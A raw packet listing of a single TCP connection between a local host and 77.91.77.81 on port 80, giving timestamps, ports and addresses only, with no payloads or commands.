Jul 3, 2024 23:59:26.679095030 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.701427937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.701462984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.701495886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.701518059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.701546907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.701550007 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.701580048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.701612949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.701626062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.701646090 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.701661110 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.701678991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.701703072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.701714039 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.734884024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.735065937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.735099077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.735132933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.735142946 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.735165119 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.735186100 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.735198021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.735214949 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.735232115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.735245943 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.735289097 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.736598015 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.736651897 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.736651897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.736682892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.736696959 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.736730099 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.736747980 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.736795902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.736829042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.736872911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.736881971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.736917019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.736918926 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.736939907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.736963034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.736964941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737000942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737005949 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737042904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737066984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737099886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737132072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737133026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737139940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737165928 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737181902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737225056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737231016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737282991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737314939 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737333059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737346888 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737361908 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737377882 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737396955 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737426996 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737428904 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737478018 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737478018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737514973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737525940 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737560034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737592936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737597942 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737606049 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737626076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737634897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737658978 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737668991 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737692118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737711906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737726927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737740040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737760067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737775087 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737792969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737798929 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737824917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737860918 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737880945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737885952 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737890959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737921953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737926960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737930059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737958908 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.737963915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.737993002 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738004923 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738037109 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738044024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738076925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738085985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738121986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738126993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738159895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738171101 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738195896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738229990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738229990 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738249063 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738262892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738274097 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738296986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738308907 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738328934 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738339901 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738363028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738369942 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738409042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738514900 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738547087 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738564968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738579035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738588095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738610983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738636971 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738643885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738667965 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738677025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738681078 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738709927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738720894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738750935 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738754034 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738785982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738801003 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738818884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738832951 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738862038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738892078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.738913059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.738936901 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739113092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739145041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739165068 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739176035 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739186049 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739208937 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739217997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739242077 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739253998 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739274979 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739298105 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739308119 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739315033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739341021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739351034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739373922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739383936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739404917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739420891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739439011 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739454031 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739473104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739480972 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739520073 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739552021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739583969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739600897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739615917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739630938 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739648104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739662886 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739681005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739691973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739712954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739731073 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739747047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739763975 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739779949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739789963 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739813089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739820957 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739845991 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739851952 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739880085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739892960 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739913940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739928007 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739947081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.739959002 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.739979982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.740010977 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.740015030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.740021944 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.740042925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.740087032 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.773974895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.774028063 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.774209023 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.774243116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.774265051 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.774286985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.774317026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.774349928 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.774382114 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.774394989 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.774415970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.774429083 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.774450064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.774478912 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.774483919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.774497986 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.774518013 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.774576902 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.774610043 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.774621010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.774642944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.774676085 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.774687052 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.774708033 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.774751902 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.797061920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.797113895 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.797147989 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.797198057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.797230959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.797261953 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.797297955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.797312975 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.797355890 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.830326080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.830379963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.830409050 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.830435991 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.830459118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.830468893 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.830493927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.830527067 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.830543041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.830559969 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.830574036 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.830595016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.830611944 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.830641985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.833076954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833128929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833165884 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833182096 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.833226919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.833230972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833262920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833276033 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.833297968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833304882 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.833331108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833347082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.833364010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833372116 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.833398104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833406925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.833431005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.833432913 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833465099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833473921 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.833498001 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833507061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.833530903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833543062 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.833564997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833585024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.833611012 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.833731890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833765984 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833782911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.833797932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833811045 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.833832026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833848953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.833865881 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833878040 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.833899021 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833914995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.833933115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833944082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.833966017 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.833978891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834001064 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834011078 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834042072 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834049940 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834083080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834101915 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834115028 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834130049 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834147930 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834158897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834181070 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834199905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834213972 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834227085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834249020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834259987 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834281921 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834300041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834315062 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834330082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834347963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834364891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834381104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834394932 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834414959 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834430933 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834456921 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834508896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834542036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834559917 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834574938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834584951 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834609032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834615946 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834642887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834654093 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834676027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834687948 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834722042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834841967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834875107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834891081 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834907055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834930897 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834939957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834950924 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.834973097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.834985018 CEST	49744	80	192.168.2.4	77.91.77.81
